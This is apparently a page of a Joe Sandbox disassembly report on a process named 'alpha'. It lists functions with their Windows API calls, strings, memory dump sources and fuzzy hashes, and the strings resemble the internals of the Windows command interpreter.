                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF94000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2148058581.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_6_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: Heap$AllocProcess
                                                                                      • String ID:
                                                                                      • API String ID: 1617791916-0
                                                                                      • Opcode ID: aa7e40b5d99d9a56d3058fd520baa9575a550189048c001a86f2540850faebe3
                                                                                      • Instruction ID: e19e6347bf94a1127a764e8b59e19068cbbd9237f772cfcdbbb4f9f91a5c6cdb
                                                                                      • Opcode Fuzzy Hash: aa7e40b5d99d9a56d3058fd520baa9575a550189048c001a86f2540850faebe3
                                                                                      • Instruction Fuzzy Hash: 3EF03133A1864287FB04AB15F840478F7E0FB99B41BA89434EA0E47354DF3CE545C710
                                                                                      Function 00007FF78CF54C1C Relevance: 1.5, APIs: 1, Instructions: 29COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000006.00000002.2147936819.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000006.00000002.2147919441.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147967698.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF94000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2148058581.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_6_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: exit
                                                                                      • String ID:
                                                                                      • API String ID: 2483651598-0
                                                                                      • Opcode ID: e255d2af7c18615348d8cf7a7b788cdf459202c7b5a34beac69f38e8db5c085f
                                                                                      • Instruction ID: 1c4875812311f5d25040c2ce2e5151283fba8bfb8e11de0e41dd15dc96123546
                                                                                      • Opcode Fuzzy Hash: e255d2af7c18615348d8cf7a7b788cdf459202c7b5a34beac69f38e8db5c085f
                                                                                      • Instruction Fuzzy Hash: A7C0803370864647FB1C7731245507D9D547F48301F54643CC717C1381DD2CD408C210
                                                                                      Function 00007FF78CF55508 Relevance: 1.5, APIs: 1, Instructions: 17COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000006.00000002.2147936819.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000006.00000002.2147919441.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147967698.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF94000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2148058581.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_6_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: DefaultUser
                                                                                      • String ID:
                                                                                      • API String ID: 3358694519-0
                                                                                      • Opcode ID: 5d8fc4fa8e665926eb49570ec356dc21582dec5ebc006b351cd7b5a4e2c943bd
                                                                                      • Instruction ID: 0b7c3b2cf075e85fe8fc829f526e1d10504bf3c9eef7a96c0b9930c0eae05d2c
                                                                                      • Opcode Fuzzy Hash: 5d8fc4fa8e665926eb49570ec356dc21582dec5ebc006b351cd7b5a4e2c943bd
                                                                                      • Instruction Fuzzy Hash: 84E02BA3D18A93CBF5543FC160423B49953FB78782FE44031F70D812C8CD2D6A41D228
                                                                                      Function 00007FF78CF52E44 Relevance: 1.3, APIs: 1, Instructions: 29COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000006.00000002.2147936819.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000006.00000002.2147919441.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147967698.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF94000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2148058581.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_6_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: memset
                                                                                      • String ID:
                                                                                      • API String ID: 2221118986-0
                                                                                      • Opcode ID: f77ccc38f2f42b08cf4ed255524ec50c837bf5ddba9254f495b6a2bfe7d154bb
                                                                                      • Instruction ID: a370ffb27d02c06d32a36b6255250c0f430410066d3c3093a5f9a27a920390d9
                                                                                      • Opcode Fuzzy Hash: f77ccc38f2f42b08cf4ed255524ec50c837bf5ddba9254f495b6a2bfe7d154bb
                                                                                      • Instruction Fuzzy Hash: 9BF0B422B0978141FE449B56B5411699291AB48BE0FA88334EB7C87BC9DE3CD552C700

                                                                                      Non-executed Functions

                                                                                      Function 00007FF78CF67F00 Relevance: 61.6, APIs: 28, Strings: 7, Instructions: 341memoryCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF78CF67F44
                                                                                      • _get_osfhandle.MSVCRT ref: 00007FF78CF67F5C
                                                                                      • GetConsoleScreenBufferInfo.API-MS-WIN-CORE-CONSOLE-L2-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF78CF67F9E
                                                                                      • AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF78CF67FFF
                                                                                      • ReadConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF78CF68020
                                                                                      • ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF78CF68036
                                                                                      • GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF78CF68061
                                                                                      • RtlFreeHeap.NTDLL ref: 00007FF78CF68075
                                                                                      • GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF78CF680D6
                                                                                      • RtlFreeHeap.NTDLL ref: 00007FF78CF680EA
                                                                                      • _wcsnicmp.MSVCRT ref: 00007FF78CF68177
                                                                                      • _wcsnicmp.MSVCRT ref: 00007FF78CF6819A
                                                                                      • _wcsnicmp.MSVCRT ref: 00007FF78CF681BD
                                                                                      • _wcsnicmp.MSVCRT ref: 00007FF78CF681DC
                                                                                      • _wcsnicmp.MSVCRT ref: 00007FF78CF681FB
                                                                                      • _wcsnicmp.MSVCRT ref: 00007FF78CF6821A
                                                                                      • _wcsnicmp.MSVCRT ref: 00007FF78CF68239
                                                                                      • GetConsoleScreenBufferInfo.API-MS-WIN-CORE-CONSOLE-L2-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF78CF68291
                                                                                      • SetConsoleCursorPosition.API-MS-WIN-CORE-CONSOLE-L2-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF78CF682D7
                                                                                      • FillConsoleOutputCharacterW.API-MS-WIN-CORE-CONSOLE-L2-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF78CF682FB
                                                                                      • WriteConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF78CF6831A
                                                                                      • GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF78CF68364
                                                                                      • RtlFreeHeap.NTDLL ref: 00007FF78CF68378
                                                                                      • GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF78CF6839A
                                                                                      • HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF78CF683AE
                                                                                      • AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF78CF683E6
                                                                                      • ReadConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF78CF68403
                                                                                      • ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF78CF68418
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000006.00000002.2147936819.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000006.00000002.2147919441.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147967698.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF94000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2148058581.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_6_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: Heap$Console_wcsnicmp$LockProcessShared$Free$AcquireBufferInfoReadReleaseScreen$AllocCharacterCursorFillHandleOutputPositionWrite_get_osfhandle
                                                                                      • String ID: cd $chdir $md $mkdir $pushd $rd $rmdir
                                                                                      • API String ID: 3637805771-3100821235
                                                                                      • Opcode ID: e6cb887516591751d838279dfb6f73a977c9c7224b6493b327e80fb3c94782b6
                                                                                      • Instruction ID: 3550f1b7fc6ef7820e6e510bb59a6a42fb3dc5a6cd0a482f36feef26d23adf67
                                                                                      • Opcode Fuzzy Hash: e6cb887516591751d838279dfb6f73a977c9c7224b6493b327e80fb3c94782b6
                                                                                      • Instruction Fuzzy Hash: B4E1A233A08692DAF710AF65E401579FBA1FB49B95BE58234DD1E53B90EF3CA409C720
                                                                                      Function 00007FF78CF47650 Relevance: 42.5, APIs: 23, Strings: 1, Instructions: 461fileCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000006.00000002.2147936819.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000006.00000002.2147919441.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147967698.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF94000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2148058581.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_6_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: File_get_osfhandle$memset$PathPointerReadSearchSizeType_wcsnicmpwcsrchr
                                                                                      • String ID: DPATH
                                                                                      • API String ID: 95024817-2010427443
                                                                                      • Opcode ID: 2dd73e123b097a23a112381bfb0238d2ff060e9a1d02d3e8a60a86283e7ef037
                                                                                      • Instruction ID: 2c91c3bbec6a0336b39a2d2607aa8b1951aa4ac7e2e085cbf86d3f1736d5a561
                                                                                      • Opcode Fuzzy Hash: 2dd73e123b097a23a112381bfb0238d2ff060e9a1d02d3e8a60a86283e7ef037
                                                                                      • Instruction Fuzzy Hash: 0612B333A0868287F764BF25A4005B9FBA1FB89B54FA49235EA5E57794DF3CE404CB10
                                                                                      Function 00007FF78CF46EE4 Relevance: 30.1, APIs: 13, Strings: 4, Instructions: 342timeCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000006.00000002.2147936819.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000006.00000002.2147919441.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147967698.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF94000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2148058581.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_6_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: Time$File$System$DateDefaultFormatInfoLocalLocaleUsermemmoverealloc
                                                                                      • String ID: %02d%s%02d%s%02d$%s $%s %s $.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC
                                                                                      • API String ID: 1795611712-3662956551
                                                                                      • Opcode ID: 74249970fbf2e4b7620cc53d3e0e908d97b29c4ace187a61a8b0bb0729ed9366
                                                                                      • Instruction ID: 5b8f778a7b4072a7ed9374c5edb0aabade567a42758919a56e1ec5af1f85291c
                                                                                      • Opcode Fuzzy Hash: 74249970fbf2e4b7620cc53d3e0e908d97b29c4ace187a61a8b0bb0729ed9366
                                                                                      • Instruction Fuzzy Hash: D8E1B023A0864286FB10FB65A8419B9FBA1FF49784FF44132EA0E57695DF3CE505C360
                                                                                      Function 00007FF78CF6EE88 Relevance: 30.0, APIs: 15, Strings: 2, Instructions: 225COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • _wcsupr.MSVCRT ref: 00007FF78CF6EF33
                                                                                      • LocalFree.API-MS-WIN-CORE-HEAP-L2-1-0(?,?,?,?,?,?,00000002,00000000,?,?,0000002F,00007FF78CF6E964), ref: 00007FF78CF6EF98
                                                                                      • GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,?,?,?,?,00000002,00000000,?,?,0000002F,00007FF78CF6E964), ref: 00007FF78CF6EFA9
                                                                                      • GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,?,?,?,?,00000002,00000000,?,?,0000002F,00007FF78CF6E964), ref: 00007FF78CF6EFBF
                                                                                      • SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0 ref: 00007FF78CF6EFDC
                                                                                      • GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,?,?,?,?,00000002,00000000,?,?,0000002F,00007FF78CF6E964), ref: 00007FF78CF6EFED
                                                                                      • GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,?,?,?,?,00000002,00000000,?,?,0000002F,00007FF78CF6E964), ref: 00007FF78CF6F003
                                                                                      • SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,?,?,?,?,00000002,00000000,?,?,0000002F,00007FF78CF6E964), ref: 00007FF78CF6F022
                                                                                      • GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,?,?,?,?,00000002,00000000,?,?,0000002F,00007FF78CF6E964), ref: 00007FF78CF6F083
                                                                                      • FlushConsoleInputBuffer.API-MS-WIN-CORE-CONSOLE-L2-1-0(?,?,?,?,?,?,00000002,00000000,?,?,0000002F,00007FF78CF6E964), ref: 00007FF78CF6F092
                                                                                      • GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,?,?,?,?,00000002,00000000,?,?,0000002F,00007FF78CF6E964), ref: 00007FF78CF6F0A5
                                                                                      • towupper.MSVCRT(?,?,?,?,?,?), ref: 00007FF78CF6F0DB
                                                                                      • wcschr.MSVCRT(?,?,?,?,?,?,00000002,00000000,?,?,0000002F,00007FF78CF6E964), ref: 00007FF78CF6F135
                                                                                      • SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,?,?,?,?,00000002,00000000,?,?,0000002F,00007FF78CF6E964), ref: 00007FF78CF6F16C
                                                                                      • SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,?,?,?,?,00000002,00000000,?,?,0000002F,00007FF78CF6E964), ref: 00007FF78CF6F185
                                                                                        • Part of subcall function 00007FF78CF501B8: _get_osfhandle.MSVCRT ref: 00007FF78CF501C4
                                                                                        • Part of subcall function 00007FF78CF501B8: GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(?,?,?,00007FF78CF5E904,?,?,?,?,00000000,00007FF78CF53491,?,?,?,00007FF78CF64420), ref: 00007FF78CF501D6
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000006.00000002.2147936819.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000006.00000002.2147919441.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147967698.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF94000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2148058581.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_6_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: Console$Mode$Handle$BufferFileFlushFreeInputLocalType_get_osfhandle_wcsuprtowupperwcschr
                                                                                      • String ID: <noalias>$CMD.EXE
                                                                                      • API String ID: 1161012917-1690691951
                                                                                      • Opcode ID: f8298d22c9df71f240bd9e1abb4a97c4f8b0018ea53697e3e253b80e8643b65e
                                                                                      • Instruction ID: 0a4d5c0335db1df804a66622eff25b2b91571c94d77e1d31244438be8fdd0dc9
                                                                                      • Opcode Fuzzy Hash: f8298d22c9df71f240bd9e1abb4a97c4f8b0018ea53697e3e253b80e8643b65e
                                                                                      • Instruction Fuzzy Hash: 53919223F096529AFB04BB60E8015BDBAA0BF49B54FA58135EE0E527D5DF3CA449C320
                                                                                      Function 00007FF78CF53140 Relevance: 21.2, APIs: 7, Strings: 5, Instructions: 229timeCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000006.00000002.2147936819.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000006.00000002.2147919441.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147967698.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF94000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2148058581.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_6_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: Time$File$System$FormatInfoLocalLocale
                                                                                      • String ID: $%02d%s%02d%s$%2d%s%02d%s%02d%s%02d$.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC$HH:mm:ss t
                                                                                      • API String ID: 55602301-2548490036
                                                                                      • Opcode ID: d793cf68f885368b4ca952d7378f9a0084057b150934299f8dfb9ae4312d122b
                                                                                      • Instruction ID: 1b0b3c7b2e401499ae292bc645df097324b7f8608f849854cfe01141bff21e77
                                                                                      • Opcode Fuzzy Hash: d793cf68f885368b4ca952d7378f9a0084057b150934299f8dfb9ae4312d122b
                                                                                      • Instruction Fuzzy Hash: 83A1A233A1874296FB10AB14E4412BAF7A5FB84754FE04136EB5E83694EF3CE645CB20
                                                                                      Function 00007FF78CF71538 Relevance: 19.7, APIs: 13, Instructions: 169filememorynativeCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000006.00000002.2147936819.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000006.00000002.2147919441.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147967698.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF94000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2148058581.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_6_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: Path$ErrorName$Lastmemset$CreateDirectoryFileFullVolumememmove$CloseControlDriveFreeHandleHeapInformationName_RemoveStatusType_wcsicmp
                                                                                      • String ID:
                                                                                      • API String ID: 3935429995-0
                                                                                      • Opcode ID: 2ee110a42e0ffdb27aede9fb5eb1a80379d063d7b2cbba6d0c9e22b52d84b57f
                                                                                      • Instruction ID: 3daf17d3675ed96b0ab5dd1c18efd1df04168083e67d253088b4eedaeb6c1626
                                                                                      • Opcode Fuzzy Hash: 2ee110a42e0ffdb27aede9fb5eb1a80379d063d7b2cbba6d0c9e22b52d84b57f
                                                                                      • Instruction Fuzzy Hash: 4D619C27A1869286F714AF22A406679FBA4FB89F54FA59134FE4E43790DF3CD40AC710
                                                                                      Function 00007FF78CF42220 Relevance: 15.4, APIs: 10, Instructions: 368COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000006.00000002.2147936819.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000006.00000002.2147919441.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147967698.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF94000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2148058581.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_6_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: memset$BufferConsoleInfoScreen
                                                                                      • String ID:
                                                                                      • API String ID: 1034426908-0
                                                                                      • Opcode ID: 99e430a40e837be57a61fbba6b08e33b3e626514a3936da40c6adeee05acd63b
                                                                                      • Instruction ID: 55b04d58d1d4a195aefe0539a65b6aabc94d00c0f55ef944a1525bf228020111
                                                                                      • Opcode Fuzzy Hash: 99e430a40e837be57a61fbba6b08e33b3e626514a3936da40c6adeee05acd63b
                                                                                      • Instruction Fuzzy Hash: 8AF19D33A087828AFB64EB21D850AF9B7A5FF45788FA08135DA4E4B695DF3CE544C710
                                                                                      Function 00007FF78CF6AA30 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 123registryCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • RegCreateKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF78CF6AA85
                                                                                      • RegSetValueExW.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF78CF6AACF
                                                                                      • RegCloseKey.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF78CF6AAEC
                                                                                      • RegDeleteKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,00007FF78CF698C0), ref: 00007FF78CF6AB39
